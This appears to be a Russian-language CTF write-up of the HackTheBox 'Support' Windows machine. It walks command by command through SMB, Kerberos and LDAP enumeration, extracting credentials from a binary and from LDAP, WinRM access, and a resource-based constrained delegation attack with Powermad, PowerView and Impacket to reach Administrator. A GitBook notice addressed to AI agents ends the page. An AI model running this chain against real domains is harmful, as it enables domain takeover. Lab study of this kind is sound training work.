> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Разбор Support на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB * Анализ двоичного файла EXE * Отладка с помощью DNSpy * Установка точек останова и получение пароля LDAP в открытом виде (DNSpy) * Перечисление пользователей Kerberos (kerbrute) * Перечисление LDAP (ldapsearch) * Утечка информации * Злоупотребление группой Remote Management Users (Evil-WinRM) * Перечисление SharpHound + BloodHound * Злоупотребление общей учетной записью поддержки (GenericAll) (атака RBCD) (Resource Based Constrained Delegation) * Атака Resource Based Constrained Delegation - Создание объекта компьютера (powermad.ps1) * Атака Resource Based Constrained Delegation - PowerView\.ps1 * Атака Resource Based Constrained Delegation - Получение сервиса-билета с имперсонацией (getST.py) * Использование билета для получения доступа администратора (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

#### **Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и извлечения информации в файл "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Перечисление DC:** ### Список SMB: Использование CrackMapExec для перечисления SMB. ```bash crackmapexec smb 10.10.11.174 ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

### **Список Kerberos:** Использование Kerbrute для перечисления пользователей. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Исследование сетевых общих ресурсов:** Поиск общих папок в сети. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Мы обнаруживаем интересный zip-файл под названием "UserInfo-exe-zip". Чтобы продолжить, мы используем `get` команду, чтобы скачать его на нашу машину.

### /*/* Анализ двоичного файла Windows\:/*/* Мы запустим исполняемый файл Windows на машине с Windows. Для этого нам нужно: 1. Передать ZIP-архив

2. Миграция конфигурации VPN 3. `/etc/hosts` Конфигурация

Чтобы запустить двоичный файл и определить всех действительных пользователей, просто введите следующую команду ```bash ./UserInfo.exe find -first * -last * ``` #### Этот двоичный файл позволит нам перечислить пользователей.

#### Анализ файла двоичного кода Windows, загруженного с помощью DNSpy. {% embed url="" %}

### **Извлечение пароля в открытом виде:** Использование DNSpy для извлечения пароля в открытом виде из двоичного файла Windows.

Мы запустим программу, но остановимся только в разделе, где текст отображается открыто.

Вот пароль LDAP:

### **Проверка LDAP-пароля:** Проверка извлеченного пароля с помощью CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Список домена: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Пользователи домена ``` enumdomusers ```

#### Группы домена ```bash enumdomgroups ```

#### Описания пользователей: ```bash querydispinfo ```

#### Поместить всех действительных пользователей домена в файл. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Теперь мы проверим, используется ли LDAP-пароль повторно для одного из следующих пользователей: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Однако это не работает.

### **Список LDAP:** {% embed url="" %} #### Использование LDAP search для перечисления информации. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Доступно много данных, однако при применении фильтра к информации о песне обнаруживается пароль пользователя support. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Эксплуатация:** #### Используйте CrackMapExec, чтобы подтвердить пароль, связанный с учетной записью support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Этот пользователь входит в группу удаленного управления, что позволяет нам подключаться через Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Использование Evil-WinRM:** Подключиться к целевой системе через Evil-WinRM, используя найденную информацию.

## Повышение привилегий ### **Проверка текущих привилегий:**
Используя `whoami /priv` команда для проверки привилегий пользователя, безуспешно.

### **Анализ групповой принадлежности:** Используя `net user support` команда для просмотра групп, к которым принадлежит пользователь. Обнаружение, по-видимому, редкой группы, "shared support accounts".

### **Использование BloodHound для анализа привилегий:** #### Использование инструмента BloodHound для построения карты отношений доступа. {% embed url="" %}

### **Запуск SharpHound для дальнейшего анализа:** Использование SharpHound, инструмента, дополняющего BloodHound, для сбора дополнительных данных об отношениях доступа. ```powershell ./SharpHound.exe -c All ```

## Атака Resource Based Constrained Delegation: {% embed url="" %} ### **Выявление уязвимости атаки Resource Based Constrained Delegation:**

#### Развертывание скрипта Powermad для создания учетной записи компьютера. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Использование PowerView для проверки создания учетной записи компьютера. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Определение разрешений для учетной записи компьютера с помощью команд PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### С помощью этой команды мы проверяем, работает ли вся процедура 'Get-DomainComputer dc', используя свойства 'msds-allowedtoactonbehalfofather identity'.

### **Эксплуатация уязвимости** #### Использование инструмента Impacket для выполнения `getST` команды для получения TGT-билета, выдаваемого от имени пользователя Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Настройте среду Kerberos для Administrator, экспортировав `KRB5CCNAME`, затем подключитесь к целевой системе с помощью Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Финальный флаг :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.